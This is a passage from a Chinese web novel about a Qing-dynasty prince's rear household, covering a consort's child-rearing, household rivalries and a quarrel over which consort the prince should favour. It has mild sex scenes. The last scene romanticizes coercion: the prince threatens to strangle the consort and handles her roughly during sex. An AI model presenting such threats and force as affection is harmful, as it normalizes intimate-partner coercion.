曦宁终于能准确发出额娘两个字,她抱着女儿亲几口,知道她还想吃,但怕她肠胃受不住,她不给她再吃,好在早上起来喝了奶,她其实并不饿,在她陪她玩的时候,孩子也就不再想着腊八粥。
“格格,我们待会还要过去正院那边。”君梅提醒一句。
乌锦点点头说她知道了。
过了一个时辰,乌锦打扮好后带着孩子过去正院云水堂。
今日过节,其他人也陆陆续续前来。
“妹妹难得打扮,这耳坠子真好看。”宋氏称赞道。
今日的乌锦穿了一身黄绿色的斗篷,里头缂丝海棠坎肩也很是精致,耳朵上的嵌粉宝石坠子闪着光,发髻上的珍珠步摇一摇一晃的声音很是清脆,平日里见到的乌锦很少穿得这么鲜亮,也不会戴那么多首饰,以素雅简单为主。
“姐姐今日也很好看,今日过节,想打扮得喜庆一些,讨个好彩头。”
宋氏点头说理应如此,屋子里的人坐下来闲聊,等福晋带着孩子过来,她们起身请安。
“快请坐吧,主子爷很快就会过来,今天过节,大家欢欢喜喜吃顿饭,早上的腊八粥都喝过了吗?”
众人齐声说喝过了。
福晋让弘晖阿哥给她们一一问好,大家看着说话口齿清晰的弘晖,又纷纷称赞福晋教子有方,说弘晖聪明伶俐。
等四阿哥过来时,屋子里的女人话已经聊得差不多了,眼看着气氛要干下去,好在四阿哥及时出现,福晋顺道让人传热菜,天冷,每道菜上来时底下都有一个带炭的小锅。
大人跟小孩分桌,小孩子由奶娘们照顾。
在四阿哥动筷后,她们才跟着动筷。
乌锦早上只吃了一碗腊八粥,这会肚子正是饿的时候,她吃得津津有味。
直到苏培盛进来,说是圣上赐赏,众人前去接赏,其实就是赐了一桌宴菜,腊八节的赏赐,天冷,那些宴菜估计是提前做好的,所以有些表面已经开始结了油块。
四阿哥带着她们谢恩后,宫里的奴才就回去了,四阿哥让人将宴菜简单热一热再送上来。
大家象征性吃一吃圣上赏赐过来的菜,吃饭时基本上只有碗勺碰撞的声音,没人说话,乌锦听到女儿哭时回头看小孩坐的那桌。
四阿哥问奶娘怎么回事。
戚妈妈说格格坐不住了。
小孩子哪会老老实实坐上半个时辰,乌锦便出声道:“小格格既然坐不住了,戚妈妈你把孩子抱出去走一走吧。”
福晋关心道:“这么冷的天,别抱到外面了,抱到隔壁吧,那屋是弘晖玩的地方,里面有很多玩具,屋内烧着炭,不冷。”
乌锦冲着戚妈妈她们点点头。
过一会儿,四阿哥吃饱了,他就先回前院,大家把四阿哥送走后也陆陆续续放下筷子,福晋将剩下的菜全部赐给府里的奴才,让他们分去。
没什么事了,剩下的人跟福晋告别,乌锦过去隔壁房间,见弘晖阿哥跟曦宁坐在一块玩,弘晖拿着一个老虎的玩偶在曦宁面前晃了晃,逗得曦宁直笑。
乌锦只站在一旁看着他们玩,福晋不知何时过来站在她身旁,轻声道:“乌妹妹,你看两个孩子玩得多好,以后你要常带曦宁过来玩一玩,让他们兄妹两个培养培养感情。”
“那福晋别嫌我们烦,我以后会把曦宁带过来陪大阿哥玩的。”
“妹妹说到做到,这府里的孩子少,弘晖平日里没什么玩伴,曦宁这孩子看着就机灵,肯定能跟弘晖玩在一块。”
乌锦笑着点头。
她们就看着两个孩子玩了好一会,乌锦见时辰差不多了,才提出告辞,带着曦宁回桃园,她回去教曦宁说哥哥二字,教一会,曦宁就学会了。
“格格,我们真的要把小格格抱去福晋那玩吗?”君梅问了一句。
“为什么不?”
君梅也说不出来为什么,因格格得宠,君梅总觉得福晋待格格不是特别亲近,一山还不容二虎呢,格格这么得宠,福晋心里难道就没有一点芥蒂?
“不用担心,曦宁是格格,又不是阿哥,两个小孩子在一块玩一玩没什么,对了,今日过节,你从库房里拿十两银子给小才子,让他给膳房的人发赏,尤其是岳师傅,就说谢谢他这一年来的照顾。”
“奴婢知道了,奴婢这就去。”
等君梅回来,乌锦也给君梅他们每人发二两银子。
福晋这么说后,乌锦真的隔三岔五带着曦宁过去正院,让曦宁跟弘晖一块玩。
又是一年新年,大年初三,四阿哥带着她们进宫给德妃娘娘贺岁拜年,德妃娘娘给几个孩子都赏了一些东西。
乌锦也见到十四阿哥,十四阿哥看着又长高了一点,他也给几个孩子一人一个荷包,里头装着一锭金元宝。
一群人坐下来吃顿饭,吃完后,她们又陪着德妃娘娘说一会话,过后才出宫。
坐到马车上时,乌锦看曦宁手里攥着一块圆玉,玉块中间穿着一条编好的红穗子。
“这玉哪来的?”
戚妈妈回道:“是十四阿哥给的,说是给小格格的,好像只给小格格,大阿哥他们都没有。”
乌锦拿起那块玉细看,发现这玉的内侧还有刻着曦宁的名字跟生辰,她并没有太放在心上,一块玉而已,可能是十四阿哥报答她先前给他送了那么多吃食的恩情。
她叮嘱道:“回去后记得收好,别让小格格抓着抓着就弄不见了。”
戚妈妈点头应是。
福晋过年期间很忙,她身为福晋,有很多需要打点的,四阿哥不在,接见贵客的人便是福晋,福晋还要跟妯娌见见面,去其它阿哥府上坐一坐。
乌锦这边就清闲许多,因为福晋过年期间忙碌,她就没有带着曦宁过去前院,她也在年后回躺娘家。
四阿哥可能想着那个位置,他想着给皇上留下能干的印象,在户部当差就更加用心,过完年后,他也变忙碌许多,早出晚归的。
眨眼间到了康熙四十一年二月初,雅尔江阿正式袭爵,被皇上封为简亲王,成为镶蓝旗旗主,虽然雅尔江阿还很年轻,但由于他是嫡长子,自小就被按着旗主的要求培养,在他父亲没逝世前,他就在旗内当差,管着镶蓝旗部分事务,所以他来接管镶蓝旗也是顺理成章的事。
乌锦也备了一些礼送去王府,恭贺雅尔江阿成为旗主,她只负责跟她相熟的人人情世故的往来,其他人,大多还是由福晋出面。
曦宁已经学会走路了,虽然走得不是很稳,但她每天吭哧吭哧地走来走去,走累了就开始爬,也好在有奶娘她们还有君梅她们陪着她玩,不然她这个老母亲是没有精力一整天盯着她。
乌锦不怕小孩子把自己的衣服弄得脏,就怕她什么都要放进嘴里尝一尝,在院子里,她见到曦宁把落下来的桃树树叶放进嘴里,她赶忙制止。
“不可以吃,会吃坏肚子的。”
“额娘,我要吃。”
这小孩子说话越来越利索,乌锦有时候很头疼,她跟她说不的时候,她开始跟她反着来。
“不可以,脏脏的,不能吃。”
曦宁开始皱着脸,准备哭,乌锦已经看穿她的小把戏,不让她做什么事时,她就开始哭,有时候是假哭,用哭来达到目的。
她还是把那些树叶从她手上抽走。
曦宁开始大哭,坐在地上,两条小短腿蹬来蹬去。
她见到四阿哥过来,不满道:“爷,你看看你女儿,跟你一样,什么都想得到,得不到就开始耍性子。”
胤禛刚从户部衙门那边回来,过来乌锦这就被她说了,他看看坐在地上的女儿,心想肯定是女儿惹她生气了。
这孩子又学会说话又学会走路了,开始有自己的想法,快两岁的她不怎么听大人的话了,这阵子让乌锦气了好几回。
胤禛弯腰抱起女儿,问女儿想要什么。
“阿玛,树叶。”
乌锦在一旁补充说女儿想要吃那些树叶,胤禛听完后
笑出声,也怪不得乌锦头疼。
“吃别的好不好,树叶不能吃,吃绿豆糕好不好,阿玛让人给你做绿豆糕。”
“不吃。”
乌锦见四阿哥从地上抱起女儿,女儿的衣服本就沾到地上的泥土,这一抱,四阿哥干净的锦袍也沾上泥土。
“那你想吃什么,想吃什么?”
“树叶。”
胤禛看着乌锦说道:“你女儿还是随你,什么都能吃。”
“什么我女儿,明明是你女儿,她是姓爱新觉罗的,不姓乌。”
胤禛嘴角挂着笑,抱着女儿进屋。
乌锦跟着他们进去,见他要把女儿放在铺炕上,她赶忙制止:“脏兮兮的,先换身衣服,你也去换身衣服,别弄脏垫子。”
“女儿你看,你额娘嫌弃我们父女两。”
曦宁虽说会说话了,但太难的词语或是太长的句子她还理解不了,她左看看右看看,一脸疑惑,眼角还挂着泪珠。
“乔妈妈,你把孩子抱去换身衣服吧,你,去屏风后面也换一身吧。”
胤禛只好乖乖去换衣服,换好后出来,乌锦已经坐在铺炕上剥橘子吃,他凑过去,她便往他嘴里塞了几瓣。
“皇阿玛病了,这几日我可能要天天进宫。”
乌锦挑眉,皇上病了?
“什么时候的事。”
“就今天传出来的,我要进宫侍疾。”
“应该的,皇上是什么病?感冒吗?”
“估计伤寒,如今换季,易感风寒。”
乌锦知道皇上生病,阿哥们要表孝心,估计都会争着去侍疾,反正他这阵子也早出晚归,她也习惯白天见不到他人,她见他眼勾勾地看着她,她直接说道:“不可以,这会是白天。”
胤禛轻笑,她可真是他肚子里的蛔虫,知道他在想什么,他一把抓住她的手,“我这阵子来得少,你难道都不想我吗?”
“不想,你女儿太折腾人了,没空想你。”
君梅等人已经很识相地退出去。
胤禛看着面色红润的人,她在府里过的是舒心日子,他在外面奔波,他比她更累才是,好不容易过来,她不能拒绝他。
“你就舍得拒绝我吗?皇阿玛病了,我进宫侍疾,就不会过来你这,免得把病气传给你们两,你可能有十几天见不到我。”
胤禛把人拉到他腿上坐着,亲着她耳朵,在她耳边诱惑道。
“痒,别闹,青天白日的,你别想着这事行不行。”
“不行,白天怎么了,我们白天也做过。”
胤禛咬她的耳朵,心想女儿已经快两岁了,他其实还想要一个儿子从她肚子里出来,偏偏快两年了,她肚子一直没有动静。
乌锦知道是逃不过了,干脆放弃挣扎,稍稍转过身亲他,她不知道他心中所想,要是知道肯定白他一眼,先前说好她不想要孩子就不要,现在又反悔。
胤禛把人带到床上,她刚吃过橘子,口中还有橘子的味道,他慢慢扫荡,吞没,舔舐,很快将她衣服剥去。
“你看,你也是想要的。”
“你话怎么那么多。”
被骂的胤禛笑着更开心,他一路亲下去,之后又勾着她,不给她一个爽快。
“胤禛,别磨来磨去,赶紧结束。”
“也就你敢直呼我的名字。”
“难不成皇上太子他们不能直呼你的名字?”
被反驳的胤禛拍一下她屁股,他说不过她,她越想要他快一些,他越不给她痛快,听到她嘴边溢出声音,他有着满满的自豪感。
事后,胤禛主动给她擦拭,被她挠了后背几下。
“饿不饿?”
“不饿,气饱了。”
胤禛亲了亲她的脸颊,“这有什么好生气的,我又没做什么,而且我看你还挺舒服的。”
“闭嘴!”
胤禛不再逗她,免得把她逼急,他还是让奴才摆膳,这会正是用午膳的时辰。
两人方才折腾一番,耗了一点力气,所以都吃得比较多。
胤禛后面半天也待在桃园,陪着女儿玩了一会。
翌日,他进宫。
皇阿玛生病,不仅仅是他们这些阿哥过来探病,后宫的娘娘也过来探病,有的是人想侍疾,胤禛见过皇阿玛后,皇阿玛没让他留下来。
虽说皇阿玛不需要他侍疾,但他还是每天过来慰问皇阿玛,每天都会碰到太子,皇阿玛让太子留下来侍疾,给他喂药,两人又开始父子情深。
胤禛看在眼里,皇阿玛虽然不满太子羽翼渐丰,但对太子还是有父子之情的,太子毕竟当了这么多年太子,在皇阿玛身边长大,又岂是一朝一夕就能舍弃掉,在皇阿玛眼里,太子还是继位的人选。
经过索额图一事,太子自己也有所收敛,从每日过来给皇阿玛侍疾可看出,他现在面上也对皇阿玛毕恭毕敬起来。
经过十多天,皇阿玛病情好转,胤禛就没有每日都进宫,他依旧在户部衙门这边忙活。
皇阿玛彻底病愈是四月底的事,皇阿玛病愈后把他跟胤褆叫去宫中,说他刚刚病愈,不适合出行,让他们两去祭祀泰山,还让胤禩跟胤禟随行。
祭祀泰山一事一般都是派太子过去,偶尔皇阿玛会亲自过去,他们一般都是随驾随行,从来没有过是他们作为主导者去祭祀泰山。
皇阿玛下令,他们不能拒绝,只能应下。
胤禛回到府里后细想皇阿玛此举背后的意思,皇阿玛是让他们取代太子吗?
不对,他记得乌锦说过一句话,他要平衡后院,皇阿玛是不是也想要平衡了,太子权力太盛,于是皇阿玛想抬举他们,让他们跟太子相互制衡,同时也给太子释放出一个信息,皇阿玛不仅仅只有一个儿子。
既然皇阿玛想抬举他们,胤禛也不会推脱,想要夺位,他还得培养自己的势力,拉拢朝中大臣,如何拉拢,大臣们也不是眼瞎的,他们若不站太子,肯定要站一个有能力的阿哥。
他得做实事来彰显自己的能力,户部虽然不是好的差事,但他得做好,让皇阿玛满意,也让大臣们看到他的能力。
这祭祀泰山也不是小事。
胤禛有空便去胤褆府里跟胤褆商量,只是胤褆这人仗着是大哥,什么都想让别人听他的,他虽心有不满,但不愿在这个时候跟胤褆产生过多分歧,大多数时候还是听胤褆的。
胤禩跟胤禟他们只是随行,不需要额外做事。
等到五月六日,他们几兄弟带着人前往泰山。
……
四阿哥这一走,这贝勒府感觉又清静不少,天气暖和了,乌锦闲着没事带曦宁过去正院,今日过去时,李氏跟她的两个孩子也在。
“妹妹来啦。”
乌锦给李氏简单福福身,称赞曦玉格格跟弘昀阿哥又长高不少。
“我看曦宁也长高不少,这孩子比弘昀还胖乎,弘昀这孩子瘦得很,你跟我说说你平日里都给曦宁吃什么了,我好照着给弘昀吃。”
“曦宁快两岁了,我已经给她吃饭吃肉了,大人能吃的东西,我也给她吃,就是味道淡一点。”
李氏一听有些诧异:“她已经吃大人吃的食物了吗?那她还喝奶吗?”
“还在喝,同时吃。”
李氏看着正在玩的曦宁格格,她胳膊是真的比弘昀粗,看上去壮实,弘昀细胳膊细腿,只比曦宁格格小两个月,但看着是曦宁一半大,她不敢给弘昀喂一些大人吃的食物,米饭喂得少,只敢喂一些米糊,肉也不敢让他多吃,就怕不到两
岁的小孩子吃不了这些。
弘昀是她好不容易生下来的孩子,怕弘昀重蹈弘盼的覆辙,她总是很精心地照顾他,她已经不能再承受失去一个孩子的痛苦。
乌喇那拉氏也开口道:“我说妹妹你真是太小心了,这不让弘昀吃,那也不让弘昀,不吃怎么长身体,你看曦宁这孩子多壮实。”
李氏只好说弘昀还小,孩子肠胃本来就弱,不能乱吃东西,她不觉得她哪里有错。
乌锦觉得自己女儿是胖了一些,不过小孩子胖些好,她平时还是会注意女儿吃什么的,不会让她乱吃,也不会让她吃得很饱,只是曦宁还有两个月就两岁了,她觉得是可以吃些饭跟肉的。
当然李氏要怎么养她的孩子,那是李氏的事情,她肯定不会干预或是劝说,每个人都有养育孩子的方式,别人才是亲娘,肯定是在乎心疼自己的孩子的。
乌喇那拉氏见李氏脸色有变,她又开口道:“不过也不着急,弘晖也是过两岁,我才给他吃一些别的食物,牛羊肉都是满两岁才吃的,孩子不比大人,弘晖一岁的时候常常胃胀气,奶娘夜里都要给他排气。”
李氏顺着乌喇那拉氏的话说:“弘昀这孩子现在都还会胃胀气,奶娘常常帮他抚摸肚子排气,唉,孩子是真不好养活。”
“可不是嘛,不过慢慢来,孩子肯定能健康长大的。”
乌锦没记错的话,弘晖跟弘昀这两个孩子最后没能长大成人,不过这也不一定,毕竟这里发生的事情未必完全跟历史一样。
曦玉格格年龄最大,反而有些融不进去三个孩子的玩乐中,她一直都不喜欢乌夫人跟她这个妹妹,只是上次被额娘说过后,她不敢对妹妹动手,只是把她手中的玩偶拿走。
乌锦也看到曦玉的举动,曦宁没哭,她就当做没看到,倒是李氏冷声让曦玉把玩偶还回去给曦宁。
“你是姐姐,你为何总是跟妹妹抢东西。”
被训斥的曦玉把玩偶扔回给曦宁,曦宁还小,还不大能感知别人的情绪,别人对她的喜欢还是不喜欢,她还懵懵懂懂。
“姐姐,你要对妹妹好。”弘晖很懂事地说了一句,“额娘说了,要对弟弟妹妹好。”
曦玉见平日里跟自己要好的弟弟也被妹妹抢走,顿时觉得很委屈,她不满吼道:“弘晖,我不跟你玩了,我以后都不跟你玩了。”
被吼的弘晖也很无措,求助的眼神看向福晋。
“曦玉,你是姐姐,你吼弟弟干什么,额娘跟你说的话,你都忘了是不是?曦玉,你越大越不懂事,我让你让着弟弟妹妹,你是怎么做的?”
“我就是不喜欢妹妹,我不喜欢她,我也不喜欢弟弟了,我通通都不喜欢。”
曦玉哭着跑出去,李氏让人跟出去,随后眼含歉意地看着她们:“姐姐,乌妹妹,你们别把曦玉的话放在心上,她说的都是气话。”
乌锦也不会跟一个小孩子计较,就是曦玉对曦宁的不喜欢太过明显了,明明她们什么都没做,她不好说曦玉的坏话,只是顺着李氏的话说道:“不会的,我知道曦玉格格不是有心的,小孩子就是这样。”
李氏也不知道自己女儿为什么总跟曦宁过不去,这孩子气性太大了,连她的话都不听了,在福晋跟乌格格面前说出这种话,让她这个额娘跟着丢脸,等于是既得罪福晋又得罪乌格格。
她也不想久留,寻了一个借口带着弘昀离开。
第78章第78章更新
第78章
天气阴凉,没有炙热的阳光,乌锦带着曦宁过去大花园那边的宽敞空地上玩,小孩子自己坐在地上玩泥土能玩很久,听春跟乔妈妈盯着,只要她不把泥土放进嘴里,她想玩多久都可以。
乌锦自己在花园里的亭子下面坐着刺绣,四阿哥的生辰在十月底,她想着亲手给他绣一件袍褂。
耿氏带着丫鬟咏艾来到花园时听到小孩子的笑声,她望过去,见到曦宁格格在空地上追着大人跑,因为曦宁格格还小,两条腿很短,跑起来又笨拙又可爱,时不时发出稚嫩的笑声。
她欣羡地看着小格格,曦宁格格被乌格格养得很好,白白胖胖的,是容易让人第一眼就喜欢上的孩子,她多么希望自己能有一个像曦宁格格这样的孩子,她不求是阿哥,女儿也好,她只是希望能有个孩子养在膝下以度过在后院空乏的日子。
她在康熙三十五年参加选秀,入选后被分到四阿哥后院,如今已经过去六年,她肚子一直没有动静,四阿哥去乌格格那里最多次,乌格格侍寝最多,她们这些人一个月能有一次侍寝机会就不错了,侍寝机会少,那怀孕的希望就不大。
她是真的很想要属于自己的孩子,耿氏看着曦宁格格笑得很开心的样子,她不由地跟着嘴角上扬,忍不住走过去。
“给耿格格请安,格格万福。”
耿氏示意她们起来,半蹲下来跟曦宁格格说话,问她在玩什么。
曦宁格格指着两个大人,想说话但又说不出来,还是一旁的人替她解释说她们在互相追逐。
“那曦宁格格肯定跑得很快,都出汗了。”耿氏用手帕给曦宁格格擦擦脸上的汗。
许是小孩子感受到大人的善意,耿氏的袖子被扯了扯,曦宁格格动作好像是要她起来追她,她便假装要追她,曦宁格格往前面跑,还时不时回头看她。
乌格格身边的听春姑娘在一旁小心护着曦宁格格,怕她跌倒,耿氏就这样陪着曦宁格格玩了好一会,也好在曦宁这孩子一点都不怕生。
乌锦在亭子见到耿格格陪孩子玩,她只是看了一眼又专心刺绣,过了许久,耿氏抱着孩子朝她走过来。
“乌姐姐,曦宁真的好可爱,你怎么能生出这么可爱的孩子。”
耿氏虽然入四阿哥后院比她早,但乌锦比她还大两岁,她瞧着曦宁搂着耿氏的脖子,就知道刚才这两个人玩得很好,这孩子是谁愿意跟她玩,她就跟谁亲近。
“耿妹妹,别看她现在这样,她跟你顶嘴,什么都放在嘴里吃的时候就不可爱了。”
“小格格已经会跟你顶嘴了吗?”
“很会顶嘴,越不让她做什么,她越要做,前天还硬是要吃龙眼壳,一不注意就什么都往嘴里塞。”
耿氏听着乌格格甜蜜的抱怨,她笑了笑,再看曦宁格格,她好像听懂了,样子有些害羞。
“耿妹妹,你把她放下来吧,她重,抱着容易手酸。”
“没事,让我多抱一会。”耿氏觉得曦宁格格身上有股奶香味,她很乐意抱小孩子,她看乌格格在刺绣,那褂子的样式一看就是男式的,她问她是绣给谁的。
“主子爷生辰不是还有几个月就到了嘛,准备送一件褂子给他。”
耿氏知道乌格格先前是绣娘,还有自己的绣铺,她低头看乌格格的绣工,的确精湛,她原本也想送一件褂子给四阿哥的,她送的恐怕比不上乌格格亲手绣的情意,她想想还是送别的好了。
“额娘,饿。”
“耿妹妹,她可能要喝奶了,我们要带她回去吃点东西。”
耿氏有些不舍地把小格格放下,看着她们离开,小格格还回头朝她摇摇手,她心里只觉得暖暖的,越发肯定她想生一个属于自己的孩子。
如何生,首先得侍寝,得博得四阿哥的喜欢。
四阿哥去泰山祭祀了,应该还有几日就回来了。
在四阿哥没回来前,耿氏每日都过去乌格格那,陪小格格玩,白天跟小格格玩的时候,这日子过得很快。
五月十五日,四阿哥回府,她们前去迎接,福晋还提前让人备了一桌菜,她们陪着四阿哥吃饭,吃完后,四阿哥就让她们各自回去。
耿氏回到自己的房间后,让咏艾去打听打听四阿哥吃完饭后去哪位主子那歇息,过一会儿咏艾回来说四阿哥去了桃园。
这并不意外,乌格格得宠,四阿哥最挂念的人是乌格格,她争宠肯定争不过乌格格,她也没想过要争过乌格格,她只是希望自己多一点侍寝的机会。
翌日早上,耿氏跟前几日一样过去桃园,她知道乌格格起得晚,小格格一般先醒,曦宁格格就在桃园的院子里玩,一见到她就冲她跑过来,抱住她的腿。
按理说曦宁格格该叫她耿夫人的,曦宁格格还不会说耿字,所以她都是喊她夫人,她让人别惊动乌格格,她就在院子里陪曦宁格格玩。
四阿哥从房间内出来时,她赶忙给四阿哥行礼。
“给主子爷请安。”
胤禛见到耿氏也有点意外,“你怎么在这?”
耿氏说她过来陪曦宁玩。
胤禛看一眼自己的女儿,这孩子正窝在耿氏怀里扯着耿氏的头发,看上去跟耿氏很熟悉,他说道:“曦宁,你又忘了你额娘跟你说什么了,不要扯头发。”
耿氏连忙说道:“主子爷,没事的,曦宁手劲并不大,其实不疼的。”
胤禛听她这么说,也没再说什么,他让耿氏陪曦宁玩,但要小声点,别把屋内的人吵醒,他自己从侧门那边回去前院。
胤禛平时对耿氏印象还不错,在后院很安分的人,所以他也没想到争宠那里去,认为耿氏是无聊才过来跟孩子玩。
耿氏这边依旧认真地陪着曦宁格格玩,乌格格的确醒得晚,她想正因为昨夜四阿哥留在乌格格这里过夜,乌格格才会醒得晚。
耿氏并没有
因为四阿哥回来而中断陪曦宁格格玩的日常,她几乎每一天都会过来,不管四阿哥有没有在乌格格这里过夜,曦宁格格已经对她很熟悉,也很亲近她,偶尔会让她带她到花园那边玩。
日子又过去半个月,曦宁格格已经会叫她耿夫人,会说耿字了,她在院子里陪着曦宁格格挖土,乌格格从来不要求曦宁格格要时时刻刻保持干净,衣服完全不能脏,她只是不让曦宁格格乱吃一些不该吃的东西,把东西随便塞进嘴里尝味道。
这一点跟福晋相反,据她所知,福晋不让弘晖阿哥碰到脏东西,坐在地上玩泥土是完全不可以的,李格格其实也不让她两个孩子碰脏东西,把孩子养得很精致,福晋跟李格格根本不让她们跟她们的孩子太过亲近,保护得很严密。
这一点跟乌格格相反,乌格格不会阻拦她跟曦宁格格亲近,耿氏不知道乌格格是太过放心还是她不在意。
与此同时,宋氏也过来桃园,正坐在屋内跟乌锦说话,她们坐在铺炕上,隔着窗看向院子里玩闹的大人跟小孩。
“乌妹妹,耿妹妹经常过来你这,她有没有意外碰到四阿哥?”
“碰到过两次,怎么了?”
宋氏看向乌锦:“你难道没看出来吗?耿妹妹想跟曦宁格格玩是假,她想跟你争宠是真,她知道主子爷常来你这,她过来可以巧遇主子爷,平日里我们这些人想见到主子爷不容易,除了福晋那、李氏那,爷最常来你这边,她在你这能碰到主子爷两次,平日里压根碰不到,你说她是不是占了你的便宜?”
“主子爷若是想要耿妹妹侍寝,想去耿妹妹那里,我又不能强行拦住他,主子爷想去哪里就去哪里,不是我能左右的。”
宋氏颇有一种恨铁不成钢的心情:“乌妹妹,你说你傻不傻,你这是想将主子爷拱手相让吗?你就不怕你失宠?”
乌锦是真的觉得这没什么,耿氏出现在桃园,偶遇到四阿哥几回,四阿哥就被她勾住,那也是耿氏的本事,反正她不可能让四阿哥这辈子只有她一个人,只让她侍寝,所以四阿哥被谁勾住,让谁侍寝,她其实是真不太在意。
耿氏的行为也没有很出格很过分,看得出来曦宁很喜欢她,说明耿氏也是真的付出精力陪曦宁玩,孩子肯定能分清谁待她好,谁待她不好。
“宋姐姐,花无百日红,我也不可能一辈子都得宠。”
“那你就甘心让耿氏占你便宜?”
乌锦觉得这点便宜,想占就占吧,这没有什么,就当是结个善缘。
宋氏见乌锦是真的不在乎,她也意识到乌锦可能也看出来了,但她默许耿氏这样做,可能她很自信,知道主子爷的心在她这,就不知道耿氏是否能得偿所愿,反正四阿哥回来后还没有召过耿氏侍寝,倒是这半个月,李氏侍寝的次数多一点。
……
眼看着要入夏了,内务府送了一些适合做夏衣的料子过来贝勒府,福晋给后院的小主一人送两匹。
乌锦这得了四匹,多的那两匹是耿氏送给她的,说是她不缺料子,那两匹料子可以给曦宁做夏衣。
先前耿氏还不是特别明显,现在她也看出来耿氏想巴结她了,先前耿氏在后院是淡淡的,不跟福晋她们靠得太近,就是安安分分过自己的日子。
虽说乌锦不缺两匹料子,但她收了人家的好意,总得为人家办事,不然人家帮她带了那么久孩子,什么好处都没得到也说不过去。
当然她有自己的私心,在这后院立足,总得有一两个是自己的人,她瞧着耿氏性子不错,跟她也合得来,帮帮她也算是为自己拉拢人心。
四阿哥过来时,乌锦难得给他倒茶倒水,递上新鲜切好的苹果。
“这是怎么了?给爷献上殷勤了?”
乌锦在四阿哥坐下来时,绕到他身后给他揉捏肩膀,说道:“我看爷这阵子早出晚归的,天天为户部的事愁眉苦脸,一定很辛苦,我别的做不了,只想让主子爷过来我这里时是舒舒服服的。”
胤禛跟乌锦也相处了六年之久,又怎会不知道她那点心思,肯定是有事要求他,无事不献殷勤,他不着急问她,只是用银签叉两块苹果块放进嘴里。
“爷,你觉不觉得曦宁平日里没什么玩伴?”
“玩伴?你那些亲戚中要是有跟曦宁年纪相仿的孩子,可以让她们进府陪曦宁玩玩,还是你想要带曦宁回娘家。”
“那些表亲哪里比得上自己的兄弟姐妹,我想着这府里要是有人怀孕就好了。”
胤禛猛地回头看乌锦,惊喜道:“你这是……想要再生一个孩子?也对,生个孩子给曦宁作伴,阿哥好,生个弟弟。”
乌锦捏了捏他后颈:“我哪那么容易生,我生完曦宁也才两年而已,身子底子恐怕还没完全恢复,我不是说我自己生,是让府里的其他主子生,我看耿格格就挺喜欢孩子的,她的孩子应该跟曦宁合得来。”
胤禛顿时变脸,收起笑容,转过身,嘴里的苹果食之无味,他便对着碟子吐了出来,越看那些切好的瓜果越心烦,便把奴才喊进来,让他们撤下去。
“爷生气了?”
“乌锦,这阵子耿氏常常出现在桃园,是你默许的吧。”胤禛就说耿氏为何天天过来陪曦宁玩,原来是存着这样的心思,他对耿氏的好感也瞬间降低不少。
“是她喜欢陪曦宁玩,曦宁也喜欢耿格格陪她玩。”
“乌锦,你把我推来推去,你把我当什么了?”
乌锦见他脸色难看,以前会害怕,现在就没有那么害怕了,她贴着他的后背,凑在他耳边说话:“我当然把主子爷当成是我的宝,主子爷,你为何要生气,反正你总要让人侍寝的,我只是想说你让耿格格侍寝多一点,这不就行了嘛?耿格格的孩子生出来可以陪曦宁玩。”
“乌锦,你别说了,省得我发火!”
“胤禛,我哪里说得不对?”
胤禛气得要死,哪里说得不对,她还敢问他,她是想把他气死才安心是不是,亲自把他推到别的女人身边就算了,还想着把他送到别的女人的床上,她怎么不给他下春.药,直接押着他跟别的女人上床,她那是想要别人生一个孩子陪曦宁嘛,分明是想活活气死他。
“乌锦,你再说下去,信不信我真掐死你。”
可能是平日他给的纵容太多了,乌锦没有停下来,继续说道:“反正你让福晋侍寝,也让李格格侍寝,耿格格也是你的女人,你让她侍寝怎么了,这有什么好为难的,爷本来子嗣不多,多一个人为你开枝散叶不好吗?我倒是想生,只是我肚子不争气,爷来了这么多次,我肚子没有动静,这孩子年纪相隔太大也玩不到一起去,我看耿格格还很年轻,也没生过孩子,要是能多多侍寝,说不定这肚子很快就会有好消息。”
胤禛根本听不进去,这女人见他生气还喋喋不休地想说服他,他只觉得一股怒气快要压制不住了,他站起来,把人
抱起来。
“既然多多侍寝就能有好消息,我看你挺适合的,我让你多多侍寝,省得你闲着没事操心这些有的没的。”
乌锦搂着他的脖子,怕自己掉下去,看到他阴沉的脸色,心道坏了,他这是真生气了。
“主子爷,好啦,我错了,我不该说这些,爷,别生气,你当我没说行不行。”
“晚了。”
乌锦被扔到床上,她后背还撞疼了,她想求饶,只是人被严严实实压住,动弹不得,他单手将她的衣服剥掉。
“胤禛,我真的知道错了,你饶过我一回。”
“我看你并不知道错,乌锦,你怎么舍得把我推给别人?”
乌锦心想她平时也没把他推给别人啊,他还不是让别人侍寝,他后院那些女人又不是纯摆着的,现在她不过是要求他多召耿格格侍寝,他就一副怒不可遏的样子,典型的只许州官放火,不许百姓点灯。
“我真的没把你推给别人,我只是……只是……”
“只是什么?你自己也知道你就是把我推给别人,我对你这么好,怎么还捂不热你的心?”
乌锦赶紧抓住他的手放在自己胸口:“早就捂热了,是真的,你摸摸看,是热的,我没有把你推给别人,只是你反正都要做这件事,我只是让你按照我的要求来做这件事,其实……我也没错呀,绝对不是把你推给别人,我怎么舍得把你推给别人,胤禛,我多么希望你是我一个人的,我们中间没有其它人,可是事实是你有三妻四妾,你身为男主人公,你要顾着后院的平衡,所以你才去福晋那里,去李格格那里,我不过是让你去耿格格那里多一点,跟你去福晋去李格格那里是同样的道理。”
“狡辩,你一向会狡辩。”
“胤禛,算了,我不说了,免得惹你生气,你想怎么样就怎么样吧,就当我没说过,只要你不生气,我怎么样都行,我不会挣扎反抗的。”
胤禛俯身攫住她红唇,顶开她的嘴,强行闯入,他已经许久没有对她动过粗,在床事上不会弄疼她弄伤她,今日突然很想弄疼她。
乌锦很是顺从,没有反抗,还主动迎合他,闭着眼睛攀着他的脖子,像是藤蔓攀着大树一般。
在这种顺从迎合下,胤禛也慢慢冷静下来,他咬一口她的脸颊,哑着声音说道:“乌锦,你才是我的劫。”
“真的吗?我是你的劫吗?我怎么觉得你才是我的劫,让你按照我说的去做就那么难嘛,好啦,你不想做,我也不逼你,我只是想说我真的没想把你让给别人,我希望我还是这后院最得宠的女人,爷一个月得来我这里至少二十天,剩下那十天,爷想去哪里就去哪里。”
“你这是想榨干我?我一个月都没得歇息的,迟早精尽人亡。”
乌锦大笑:“哈哈哈,我觉得你厉害,不用歇息都行,好啦,别生气了,你明知道我不是那个意思,我的心早就被你捂热了,胤禛,我已经离不开你,你别动不动就怀疑我的真心。”
“还不是你做的那些事容易惹人生气。”
胤禛这会又没有那么生气了,他心想自己怎么那么容易被乌锦哄好,她说几句甜言蜜语,他就被哄好了。
“我是说你一个月去其他人那十次,那这十次,你多一点去耿格格那里,反正我那二十次不准动,是我的就是我的。”
“还二十次,被你气得我一次都不想再来。”
